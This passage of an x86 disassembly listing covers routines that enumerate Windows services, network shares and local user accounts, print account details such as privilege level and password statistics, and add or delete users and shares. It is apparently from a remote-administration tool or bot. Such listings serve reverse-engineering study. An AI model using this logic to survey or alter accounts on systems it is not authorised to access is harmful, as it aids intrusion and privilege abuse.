ptr -38Ch var_18C = byte ptr -18Ch var_188 = byte ptr -188h var_24 = byte ptr -24h var_20 = byte ptr -20h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 38Ch push ebx push esi push edi xor ebx, ebx push 0F003Fh push ebx push ebx mov [ebp+var_8], ebx call dword_43C548 ; OpenSCManagerA push ebx mov [ebp+var_C], eax push [ebp+arg_8] push offset aTheFollowingWi ; "The following Windows services are regi"... push [ebp+arg_4] push [ebp+arg_0] call sub_412BD1 add esp, 14h loc_412F4B: ; CODE XREF: sub_412F13+123j lea eax, [ebp+var_8] loc_412F4E: ; DATA XREF: seg001:off_42B8D4o push eax lea eax, [ebp+var_4] push eax lea eax, [ebp+var_24] push eax lea eax, [ebp+var_18C] push 168h push eax push 3 push 30h push [ebp+var_C] call dword_43C514 ; EnumServicesStatusA test eax, eax jnz short loc_412F85 call dword_421088 ; RtlGetLastWin32Error cmp eax, 0EAh jnz loc_41303C loc_412F85: ; CODE XREF: sub_412F13+5Fj xor edi, edi cmp [ebp+var_4], ebx jle loc_413033 lea esi, [ebp+var_188] loc_412F96: ; CODE XREF: sub_412F13+11Aj mov eax, [esi+8] dec eax jz short loc_412FE2 dec eax jz short loc_412FDB dec eax jz short loc_412FD4 dec eax jz short loc_412FCD dec eax jz short loc_412FC6 dec eax jz short loc_412FBF dec eax lea eax, [ebp+var_20] jz short loc_412FB8 push offset aUnknown_1 ; " Unknown" jmp short loc_412FEA ; --------------------------------------------------------------------------- loc_412FB8: ; CODE XREF: sub_412F13+9Cj push offset aPaused_0 ; " Paused" jmp short loc_412FEA ; --------------------------------------------------------------------------- loc_412FBF: ; CODE XREF: sub_412F13+96j push offset aPausing ; " Pausing" jmp short loc_412FE7 ; --------------------------------------------------------------------------- loc_412FC6: ; CODE XREF: sub_412F13+93j push offset aContinuing ; " Continuing" jmp short loc_412FE7 ; --------------------------------------------------------------------------- loc_412FCD: ; CODE XREF: sub_412F13+90j push offset aRunning_0 ; " Running" jmp short loc_412FE7 ; --------------------------------------------------------------------------- loc_412FD4: ; CODE XREF: sub_412F13+8Dj push offset aStoping ; " Stoping" jmp short loc_412FE7 ; --------------------------------------------------------------------------- loc_412FDB: ; CODE XREF: sub_412F13+8Aj push offset aStarting ; " Starting" jmp short loc_412FE7 ; --------------------------------------------------------------------------- loc_412FE2: ; CODE XREF: sub_412F13+87j push offset aStopped ; " Stopped" loc_412FE7: ; CODE XREF: sub_412F13+B1j ; sub_412F13+B8j ... lea eax, [ebp+var_20] loc_412FEA: ; CODE XREF: sub_412F13+A3j ; sub_412F13+AAj push eax call sub_415316 pop ecx lea eax, [ebp+var_20] pop ecx push dword ptr [esi] push dword ptr [esi-4] push eax lea eax, [ebp+var_38C] push offset aSSS ; "%s: %s (%s)" push eax call sub_415316 push 1 lea eax, [ebp+var_38C] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_412BD1 add esp, 28h inc edi add esi, 24h cmp edi, [ebp+var_4] jl loc_412F96 loc_413033: ; CODE XREF: sub_412F13+77j cmp [ebp+var_8], ebx jnz loc_412F4B loc_41303C: ; CODE XREF: sub_412F13+6Cj push [ebp+var_C] call dword_43C458 ; CloseServiceHandle xor eax, eax pop edi cmp eax, [ebp+var_4] pop esi pop ebx sbb eax, eax neg eax leave retn sub_412F13 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_413053 proc near ; CODE XREF: sub_40CD3A:loc_40EC86p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push esi push edi mov edi, [ebp+arg_4] test edi, edi jz loc_4130EC mov esi, [ebp+arg_0] mov eax, esi sub eax, 0 jz short loc_41307C dec eax jnz short loc_4130CC push edi push 0 call sub_413225 pop ecx pop ecx jmp short loc_4130C8 ; --------------------------------------------------------------------------- loc_41307C: ; CODE XREF: sub_413053+18j cmp [ebp+arg_8], 0 jnz short loc_4130BA push 24h push edi call sub_416F20 pop ecx test eax, eax pop ecx jnz short loc_4130BA push 57h pop eax loc_413093: ; CODE XREF: sub_413053+77j push eax call sub_4139F3 push eax lea eax, [esi+esi*2] push edi mov esi, offset dword_46AE00 push off_4367B0[eax*4] push offset dword_436ECC push esi call sub_415316 add esp, 18h jmp short loc_41310C ; --------------------------------------------------------------------------- loc_4130BA: ; CODE XREF: sub_413053+2Dj ; sub_413053+3Bj push [ebp+arg_8] push edi push 0 call sub_413179 add esp, 0Ch loc_4130C8: ; CODE XREF: sub_413053+27j test eax, eax jnz short loc_413093 loc_4130CC: ; CODE XREF: sub_413053+1Bj lea eax, [esi+esi*2] push edi mov esi, offset dword_46AE00 push off_4367B4[eax*4] push offset dword_436E9C push esi call sub_415316 add esp, 10h jmp short loc_41310C ; --------------------------------------------------------------------------- loc_4130EC: ; CODE XREF: sub_413053+Aj mov eax, [ebp+arg_0] mov esi, offset dword_46AE00 lea eax, [eax+eax*2] push off_4367B0[eax*4] push offset dword_436E64 push esi call sub_415316 add esp, 0Ch loc_41310C: ; CODE XREF: sub_413053+65j ; sub_413053+97j mov eax, esi pop edi pop esi pop ebp retn sub_413053 endp ; =============== S U B R O U T I N E ======================================= sub_413112 proc near ; CODE XREF: sub_414500+247p arg_0 = dword ptr 4 arg_C = dword ptr 10h push esi xor esi, esi cmp [esp+4+arg_0], esi jnz short loc_41311F xor eax, eax pop esi retn ; --------------------------------------------------------------------------- loc_41311F: ; CODE XREF: sub_413112+7j push ebx push ebp push edi push esi push esi push esi mov edi, dword_421138 push esi push 0FFFFFFFFh mov ebx, 400h push [esp+24h+arg_0] push ebx push esi call edi ; WideCharToMultiByte test byte_46B000, 1 mov ebp, eax jnz short loc_41315C or byte_46B000, 1 lea eax, [ebp+1] push eax call sub_416655 pop ecx mov dword_46AD98, eax loc_41315C: ; CODE XREF: sub_413112+32j push esi push esi push ebp push dword_46AD98 push 0FFFFFFFFh push [esp+18h+arg_C] push ebx push esi call edi ; WideCharToMultiByte mov eax, dword_46AD98 pop edi pop ebp pop ebx pop esi retn sub_413112 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_413179 proc near ; CODE XREF: sub_413053+6Dp ; sub_414826+18Ep ... var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 20h push edi push [ebp+arg_0] call sub_4131E4 push [ebp+arg_4] mov edi, eax call sub_4131E4 push 24h mov [ebp+var_20], eax push [ebp+arg_4] call sub_416F20 push [ebp+arg_8] mov [ebp+var_14], 7Fh neg eax sbb eax, eax and [ebp+var_18], 0 or [ebp+var_10], 0FFFFFFFFh and [ebp+var_C], 0 and eax, 80000000h mov [ebp+var_1C], eax call sub_4131E4 add esp, 14h mov [ebp+var_8], eax and [ebp+var_4], 0 lea eax, [ebp+arg_0] push eax lea eax, [ebp+var_20] push eax push 2 push edi call dword_43C454 pop edi leave retn sub_413179 endp ; =============== S U B R O U T I N E ======================================= sub_4131E4 proc near ; CODE XREF: sub_413179+Ap ; sub_413179+14p ... arg_0 = dword ptr 4 push ebp mov ebp, [esp+4+arg_0] xor eax, eax cmp ebp, eax jnz short loc_4131F1 pop ebp retn ; --------------------------------------------------------------------------- loc_4131F1: ; CODE XREF: sub_4131E4+9j push ebx push esi mov esi, dword_421064 push edi push eax push eax push 0FFFFFFFFh push ebp push 1 push eax call esi ; MultiByteToWideChar mov edi, eax lea eax, [edi+edi+2] push eax call sub_416655 pop ecx mov ebx, eax push edi push ebx push 0FFFFFFFFh push ebp push 1 push 0 call esi ; MultiByteToWideChar pop edi mov eax, ebx pop esi pop ebx pop ebp retn sub_4131E4 endp ; =============== S U B R O U T I N E ======================================= sub_413225 proc near ; CODE XREF: sub_413053+20p ; sub_414500+1BCp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push [esp+4+arg_0] call sub_4131E4 push [esp+8+arg_4] mov esi, eax call sub_4131E4 pop ecx pop ecx push 0 push eax push esi call dword_43C42C pop esi retn sub_413225 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_413248 proc near ; CODE XREF: sub_40CD3A+1F78p var_210 = byte ptr -210h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 210h push ebx push esi push edi push [ebp+arg_C] call sub_4131E4 xor esi, esi mov [ebp+var_C], eax push esi mov [ebp+arg_C], esi push [ebp+arg_8] mov [ebp+var_8], esi mov [ebp+var_10], esi push offset aShareNameResou ; "Share name: Resource: "... push [ebp+arg_4] push [ebp+arg_0] call sub_412BD1 add esp, 18h loc_413281: ; CODE XREF: sub_413248+10Fj lea eax, [ebp+var_10] push eax lea eax, [ebp+var_8] push eax lea eax, [ebp+arg_C] push eax lea eax, [ebp+var_4] push 0FFFFFFFFh push eax push 1F6h push [ebp+var_C] call dword_43C4A0 mov ebx, eax cmp ebx, esi jz short loc_4132E4 cmp ebx, 0EAh jz short loc_4132E4 push ebx push ebx call sub_4139F3 pop ecx push eax lea eax, [ebp+var_210] push offset dword_436F2C push eax call sub_415316 push esi lea eax, [ebp+var_210] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_412BD1 add esp, 24h jmp short loc_413351 ; --------------------------------------------------------------------------- loc_4132E4: ; CODE XREF: sub_413248+5Dj ; sub_413248+65j xor edi, edi inc edi cmp [ebp+arg_C], edi jb short loc_413348 mov eax, [ebp+var_4] lea esi, [eax+14h] loc_4132F2: ; CODE XREF: sub_413248+FCj push dword ptr [esi+10h] call dword_43C448 ; IsValidSecurityDescriptor test eax, eax mov eax, offset aYes ; "Yes" jnz short loc_413309 mov eax, offset aNo ; "No" loc_413309: ; CODE XREF: sub_413248+BAj push eax lea eax, [ebp+var_210] push dword ptr [esi] push dword ptr [esi+4] push dword ptr [esi-14h] push offset a14s24s6u4s ; "%-14S %-24S %-6u %-4s" push eax call sub_415316 push 1 lea eax, [ebp+var_210] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_412BD1 add esp, 2Ch add esi, 28h inc edi cmp edi, [ebp+arg_C] jbe short loc_4132F2 xor esi, esi loc_413348: ; CODE XREF: sub_413248+A2j push [ebp+var_4] call dword_43C5E4 loc_413351: ; CODE XREF: sub_413248+9Aj cmp ebx, 0EAh jz loc_413281 xor eax, eax cmp ebx, esi pop edi pop esi setz al pop ebx leave retn sub_413248 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_413369 proc near ; CODE XREF: sub_40CD3A:loc_40ED22p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp push ebx mov ebx, [ebp+arg_4] push esi push edi xor edi, edi cmp ebx, edi jz loc_41340D mov esi, [ebp+arg_0] mov eax, esi sub eax, edi jz short loc_4133AB dec eax jz short loc_4133A0 dec eax jnz short loc_4133C6 push [ebp+arg_14] push [ebp+arg_10] push [ebp+arg_C] push ebx push edi call sub_4134AF add esp, 14h jmp short loc_4133C2 ; --------------------------------------------------------------------------- loc_4133A0: ; CODE XREF: sub_413369+1Dj push ebx push edi call sub_41348E pop ecx pop ecx jmp short loc_4133C2 ; --------------------------------------------------------------------------- loc_4133AB: ; CODE XREF: sub_413369+1Aj cmp [ebp+arg_8], edi jz short loc_4133BF push [ebp+arg_8] push ebx push edi call sub_413434 add esp, 0Ch jmp short loc_4133C2 ; --------------------------------------------------------------------------- loc_4133BF: ; CODE XREF: sub_413369+45j push 57h pop eax loc_4133C2: ; CODE XREF: sub_413369+35j ; sub_413369+40j ... cmp eax, edi jnz short loc_4133E6 loc_4133C6: ; CODE XREF: sub_413369+20j lea eax, [esi+esi*2] push ebx mov esi, offset dword_46B008 push off_4367B4[eax*4] push offset dword_437020 push esi call sub_415316 add esp, 10h jmp short loc_41342D ; --------------------------------------------------------------------------- loc_4133E6: ; CODE XREF: sub_413369+5Bj push eax call sub_4139F3 push eax lea eax, [esi+esi*2] push ebx mov esi, offset dword_46B008 push off_4367B0[eax*4] push offset dword_436FE0 push esi call sub_415316 add esp, 18h jmp short loc_41342D ; --------------------------------------------------------------------------- loc_41340D: ; CODE XREF: sub_413369+Dj mov eax, [ebp+arg_0] mov esi, offset dword_46B008 lea eax, [eax+eax*2] push off_4367B0[eax*4] push offset dword_436FA0 push esi call sub_415316 add esp, 0Ch loc_41342D: ; CODE XREF: sub_413369+7Bj ; sub_413369+A2j mov eax, esi pop edi pop esi pop ebx pop ebp retn sub_413369 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_413434 proc near ; CODE XREF: sub_413369+4Cp var_24 = dword ptr -24h var_20 = dword ptr -20h var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 24h and [ebp+var_4], 0 push edi push [ebp+arg_0] call sub_4131E4 push [ebp+arg_4] mov edi, eax call sub_4131E4 push [ebp+arg_8] mov [ebp+var_24], eax call sub_4131E4 add esp, 0Ch and [ebp+var_14], 0 and [ebp+var_10], 0 and [ebp+var_8], 0 lea ecx, [ebp+var_4] mov [ebp+var_20], eax xor eax, eax push ecx lea ecx, [ebp+var_24] inc eax push ecx push eax push edi mov [ebp+var_18], eax mov [ebp+var_C], 10001h call dword_43C438 pop edi leave retn sub_413434 endp ; =============== S U B R O U T I N E ======================================= sub_41348E proc near ; CODE XREF: sub_413369+39p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push [esp+4+arg_0] call sub_4131E4 push [esp+8+arg_4] mov esi, eax call sub_4131E4 pop ecx pop ecx push eax push esi call dword_43C428 pop esi retn sub_41348E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4134AF proc near ; CODE XREF: sub_413369+2Dp var_204 = byte ptr -204h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 204h and [ebp+var_4], 0 push esi push [ebp+arg_0] call sub_4131E4 push [ebp+arg_4] mov esi, eax call sub_4131E4 pop ecx pop ecx lea ecx, [ebp+var_4] push ecx push 0Bh push eax push esi call dword_43C5AC test eax, eax mov [ebp+arg_0], eax jnz loc_41383C mov eax, [ebp+var_4] test eax, eax jz loc_413877 push ebx push edi push dword ptr [eax] lea eax, [ebp+var_204] push offset aAccountS ; "Account: %S" push eax call sub_415316 mov esi, [ebp+arg_10] mov edi, [ebp+arg_C] mov ebx, [ebp+arg_8] push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_412BD1 mov eax, [ebp+var_4] push dword ptr [eax+0Ch] lea eax, [ebp+var_204] push offset aFullNameS ; "Full Name: %S" push eax call sub_415316 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_412BD1 mov eax, [ebp+var_4] add esp, 40h push dword ptr [eax+8] lea eax, [ebp+var_204] push offset aUserCommentS ; "User Comment: %S" push eax call sub_415316 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_412BD1 mov eax, [ebp+var_4] push dword ptr [eax+4] lea eax, [ebp+var_204] push offset aCommentS ; "Comment: %S" push eax call sub_415316 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_412BD1 mov eax, [ebp+var_4] add esp, 40h mov eax, [eax+10h] sub eax, 0 jz short loc_4135C8 dec eax jz short loc_4135C1 dec eax jz short loc_4135BA mov eax, offset aUnknown ; "Unknown" jmp short loc_4135CD ; --------------------------------------------------------------------------- loc_4135BA: ; CODE XREF: sub_4134AF+102j mov eax, offset aAdministrator ; "Administrator" jmp short loc_4135CD ; --------------------------------------------------------------------------- loc_4135C1: ; CODE XREF: sub_4134AF+FFj mov eax, offset aUser_1 ; "User" jmp short loc_4135CD ; --------------------------------------------------------------------------- loc_4135C8: ; CODE XREF: sub_4134AF+FCj mov eax, offset aGuest ; "Guest" loc_4135CD: ; CODE XREF: sub_4134AF+109j ; sub_4134AF+110j ... push eax lea eax, [ebp+var_204] push offset aPrivilegeLevel ; "Privilege Level: %s" push eax call sub_415316 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_412BD1 mov eax, [ebp+var_4] push dword ptr [eax+14h] lea eax, [ebp+var_204] push offset aAuthFlagsD ; "Auth Flags: %d" push eax call sub_415316 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_412BD1 mov eax, [ebp+var_4] add esp, 40h push dword ptr [eax+1Ch] lea eax, [ebp+var_204] push offset aHomeDirectoryS ; "Home Directory: %S" push eax call sub_415316 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_412BD1 mov eax, [ebp+var_4] push dword ptr [eax+20h] lea eax, [ebp+var_204] push offset aParametersS ; "Parameters: %S" push eax call sub_415316 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_412BD1 mov eax, [ebp+var_4] add esp, 40h push dword ptr [eax+18h] lea eax, [ebp+var_204] push offset aPasswordAgeD ; "Password Age: %d" push eax call sub_415316 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_412BD1 mov eax, [ebp+var_4] push dword ptr [eax+2Ch] lea eax, [ebp+var_204] push offset aBadPasswordCou ; "Bad Password Count: %d" push eax call sub_415316 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_412BD1 mov eax, [ebp+var_4] add esp, 40h push dword ptr [eax+30h] lea eax, [ebp+var_204] push offset aNumberOfLogins ; "Number of Logins: %d" push eax call sub_415316 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_412BD1 mov eax, [ebp+var_4] push dword ptr [eax+24h] lea eax, [ebp+var_204] push offset aLastLogonD ; "Last Logon: %d" push eax call sub_415316 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_412BD1 mov eax, [ebp+var_4] add esp, 40h push dword ptr [eax+28h] lea eax, [ebp+var_204] push offset aLastLogoffD ; "Last Logoff: %d" push eax call sub_415316 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_412BD1 mov eax, [ebp+var_4] push dword ptr [eax+34h] lea eax, [ebp+var_204] push offset aLogonServerS ; "Logon Server: %S" push eax call sub_415316 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_412BD1 mov eax, [ebp+var_4] add esp, 40h push dword ptr [eax+3Ch] lea eax, [ebp+var_204] push offset aWorkstationsS ; "Workstations: %S" push eax call sub_415316 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_412BD1 mov eax, [ebp+var_4] push dword ptr [eax+38h] lea eax, [ebp+var_204] push offset aCountryCodeD ; "Country Code: %d" push eax call sub_415316 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_412BD1 mov eax, [ebp+var_4] add esp, 40h push dword ptr [eax+4Ch] lea eax, [ebp+var_204] push offset aUserSLanguageD ; "User's Language: %d" push eax call sub_415316 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_412BD1 mov eax, [ebp+var_4] push dword ptr [eax+40h] lea eax, [ebp+var_204] push offset aMax_StorageD ; "Max. Storage: %d" push eax call sub_415316 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_412BD1 mov eax, [ebp+var_4] add esp, 40h push dword ptr [eax+44h] lea eax, [ebp+var_204] push offset aUnitsPerWeekD ; "Units Per Week: %d" push eax call sub_415316 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_412BD1 add esp, 20h pop edi pop ebx jmp short loc_413868 ; --------------------------------------------------------------------------- loc_41383C: ; CODE XREF: sub_4134AF+35j push eax lea eax, [ebp+var_204] push offset dword_437054 push eax call sub_415316 push 0 lea eax, [ebp+var_204] push [ebp+arg_10] push eax push [ebp+arg_C] push [ebp+arg_8] call sub_412BD1 add esp, 20h loc_413868: ; CODE XREF: sub_4134AF+38Bj cmp [ebp+var_4], 0 jz short loc_413877 push [ebp+var_4] call dword_43C5E4 loc_413877: ; CODE XREF: sub_4134AF+40j ; sub_4134AF+3BDj mov eax, [ebp+arg_0] pop esi leave retn sub_4134AF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41387D proc near ; CODE XREF: sub_40CD3A+2014p var_218 = byte ptr -218h var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 218h push ebx push esi push edi xor esi, esi push [ebp+arg_C] mov [ebp+var_4], esi call sub_4131E4 push esi mov [ebp+var_14], eax push [ebp+arg_8] mov [ebp+arg_C], esi mov [ebp+var_18], esi mov [ebp+var_10], esi push offset aUsernameAccoun ; "Username accounts for local system:" mov [ebp+var_8], esi push [ebp+arg_4] push [ebp+arg_0] call sub_412BD1 add esp, 18h loc_4138BC: ; CODE XREF: sub_41387D+12Bj lea eax, [ebp+var_10] push eax lea eax, [ebp+var_18] push eax lea eax, [ebp+arg_C] push eax lea eax, [ebp+var_4] push 0FFFFFFFFh push eax push 2 push esi push [ebp+var_14] call dword_43C4BC cmp eax, esi mov [ebp+var_C], eax jz short loc_41391D cmp eax, 0EAh jz short loc_41391D push eax push eax call sub_4139F3 pop ecx push eax lea eax, [ebp+var_218] push offset dword_43725C push eax call sub_415316 push esi lea eax, [ebp+var_218] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_412BD1 add esp, 24h jmp short loc_41398E ; --------------------------------------------------------------------------- loc_41391D: ; CODE XREF: sub_41387D+62j ; sub_41387D+69j mov edi, [ebp+var_4] cmp edi, esi jz short loc_4139A1 xor ebx, ebx cmp [ebp+arg_C], esi jbe short loc_41398E loc_41392B: ; CODE XREF: sub_41387D+E9j cmp edi, esi lea eax, [ebp+var_218] jz short loc_41396A push dword ptr [edi] push offset aS_5 ; " %S" push eax call sub_415316 push 1 lea eax, [ebp+var_218] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_412BD1 add esp, 20h add edi, 4 inc [ebp+var_8] inc ebx cmp ebx, [ebp+arg_C] jb short loc_41392B jmp short loc_41398E ; --------------------------------------------------------------------------- loc_41396A: ; CODE XREF: sub_41387D+B6j push offset dword_437214 push eax call sub_415316 push esi lea eax, [ebp+var_218] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_412BD1 add esp, 1Ch loc_41398E: ; CODE XREF: sub_41387D+9Ej ; sub_41387D+ACj ... mov edi, [ebp+var_4] cmp edi, esi jz short loc_4139A1 push edi call dword_43C5E4 xor edi, edi mov [ebp+var_4], edi loc_4139A1: ; CODE XREF: sub_41387D+A5j ; sub_41387D+116j cmp [ebp+var_C], 0EAh jz loc_4138BC cmp edi, esi jz short loc_4139B9 push edi call dword_43C5E4 loc_4139B9: ; CODE XREF: sub_41387D+133j push [ebp+var_8] lea eax, [ebp+var_218] push offset aTotalUsersFoun ; "Total users found: %d." push eax call sub_415316 push esi lea eax, [ebp+var_218] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_412BD1 add esp, 20h xor eax, eax cmp [ebp+var_C], esi pop edi pop esi setz al pop ebx leave retn sub_41387D endp ; =============== S U B R O U T I N E ======================================= sub_4139F3 proc near ; CODE XREF: sub_413053+41p ; sub_413248+69p ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] mov ecx, 858h cmp eax, ecx ja loc_413AA5 jz loc_413A9E cmp eax, 7Bh ja short loc_413A6A jz short loc_413A60 cmp eax, 5 jz short loc_413A56 cmp eax, 8 jz short loc_413A4C cmp eax, 32h jz short loc_413A42 cmp eax, 35h jz short loc_413A38 cmp eax, 57h jnz loc_413AF4 push offset aInvalidParamet ; "Invalid parameter." jmp loc_413B15 ; --------------------------------------------------------------------------- loc_413A38: ; CODE XREF: sub_4139F3+30j push offset aServerNameNotF ; "Server name not found." jmp loc_413B15 ; --------------------------------------------------------------------------- loc_413A42: ; CODE XREF: sub_4139F3+2Bj push offset aThisNetworkReq ; "This network request is not supported." jmp loc_413B15 ; --------------------------------------------------------------------------- loc_413A4C: ; CODE XREF: sub_4139F3+26j push offset aNotEnoughMemor ; "Not enough memory." jmp loc_413B15 ; --------------------------------------------------------------------------- loc_413A56: ; CODE XREF: sub_4139F3+21j push offset aAccessDenied_ ; "Access denied." jmp loc_413B15 ; --------------------------------------------------------------------------- loc_413A60: ; CODE XREF: sub_4139F3+1Cj push offset aTheNameIsInval ; "The name is invalid." jmp loc_413B15 ; --------------------------------------------------------------------------- loc_413A6A: ; CODE XREF: sub_4139F3+1Aj sub eax, 7Ch jz short loc_413A97 sub eax, 7C8h jz short loc_413A90 dec eax jz short loc_413A86 dec eax jnz short loc_413AF4 push offset aDuplicateShare ; "Duplicate share name." jmp loc_413B15 ; --------------------------------------------------------------------------- loc_413A86: ; CODE XREF: sub_4139F3+84j push offset aInvalidForRedi ; "Invalid for redirected resource." jmp loc_413B15 ; --------------------------------------------------------------------------- loc_413A90: ; CODE XREF: sub_4139F3+81j push offset aDeviceOrDirect ; "Device or directory does not exist." jmp short loc_413B15 ; --------------------------------------------------------------------------- loc_413A97: ; CODE XREF: sub_4139F3+7Aj push offset aLevelParameter ; "Level parameter is invalid." jmp short loc_413B15 ; --------------------------------------------------------------------------- loc_413A9E: ; CODE XREF: sub_4139F3+11j push offset aAGeneralFailur ; "A general failure occurred in the netwo"... jmp short loc_413B15 ; --------------------------------------------------------------------------- loc_413AA5: ; CODE XREF: sub_4139F3+Bj mov ecx, 8C5h cmp eax, ecx ja short loc_413ADE jz short loc_413AD7 sub eax, 8ADh jz short loc_413B09 dec eax dec eax jz short loc_413AD0 dec eax jz short loc_413AC9 dec eax dec eax jnz short loc_413AF4 push offset aTheOperationIs ; "The operation is allowed only on the pr"... jmp short loc_413B15 ; --------------------------------------------------------------------------- loc_413AC9: ; CODE XREF: sub_4139F3+C9j push offset aTheUserAccount ; "The user account already exists." jmp short loc_413B15 ; --------------------------------------------------------------------------- loc_413AD0: ; CODE XREF: sub_4139F3+C6j push offset aTheGroupAlread ; "The group already exists." jmp short loc_413B15 ; --------------------------------------------------------------------------- loc_413AD7: ; CODE XREF: sub_4139F3+BBj push offset aThePasswordIsS ; "The password is shorter than required ("... jmp short loc_413B15 ; --------------------------------------------------------------------------- loc_413ADE: ; CODE XREF: sub_4139F3+B9j sub eax, 8CAh jz short loc_413B10 sub eax, 17h jz short loc_413B09 sub eax, 25h jz short loc_413B02 sub eax, 29h jz short loc_413AFB loc_413AF4: ; CODE XREF: sub_4139F3+35j ; sub_4139F3+87j ... push offset aAnUnknownErr_0 ; "An unknown error occurred." jmp short loc_413B15 ; --------------------------------------------------------------------------- loc_413AFB: ; CODE XREF: sub_4139F3+FFj push offset aTheComputerNam ; "The computer name is invalid." jmp short loc_413B15 ; --------------------------------------------------------------------------- loc_413B02: ; CODE XREF: sub_4139F3+FAj push offset aShareNotFound_ ; "Share not found." jmp short loc_413B15 ; --------------------------------------------------------------------------- loc_413B09: ; CODE XREF: sub_4139F3+C2j ; sub_4139F3+F5j push offset aTheUserNameCou ; "The user name could not be found." jmp short loc_413B15 ; --------------------------------------------------------------------------- loc_413B10: ; CODE XREF: sub_4139F3+F0j push offset aNetworkConnect ; "Network connection not found." loc_413B15: ; CODE XREF: sub_4139F3+40j ; sub_4139F3+4Aj ... push offset dword_46ADA0 call sub_415316 pop ecx mov eax, offset dword_46ADA0 pop ecx retn sub_4139F3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_413B27 proc near ; CODE XREF: sub_40CD3A+2059p var_718 = byte ptr -718h var_318 = byte ptr -318h var_108 = byte ptr -108h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 718h push esi push 200h push [ebp+arg_0] lea eax, [ebp+var_718] push eax call sub_417A19 add esp, 0Ch lea eax, [ebp+arg_0] mov esi, 108h push eax lea eax, [ebp+var_108] push eax mov [ebp+arg_0], esi call dword_42113C ; GetComputerNameA lea eax, [ebp+var_108] push esi push eax lea eax, [ebp+var_318] push eax call sub_417A19 lea eax, [ebp+var_718] push eax call sub_4179FC add esp, 10h add eax, eax push eax lea eax, [ebp+var_718] push eax lea eax, [ebp+var_318] push 0 push eax push 0 call dword_43C564 test eax, eax jnz short loc_413BB7 mov esi, offset dword_46AB98 push offset dword_4375BC push esi call sub_415316 pop ecx pop ecx jmp short loc_413BE0 ; --------------------------------------------------------------------------- loc_413BB7: ; CODE XREF: sub_413B27+7Aj lea ecx, [ebp+var_718] push ecx lea ecx, [ebp+var_318] push ecx push eax call sub_4139F3 pop ecx mov esi, offset dword_46AB98 push eax push offset dword_437580 push esi call sub_415316 add esp, 14h loc_413BE0: ; CODE XREF: sub_413B27+8Ej mov eax, esi pop esi leave retn sub_413B27 endp ; =============== S U B R O U T I N 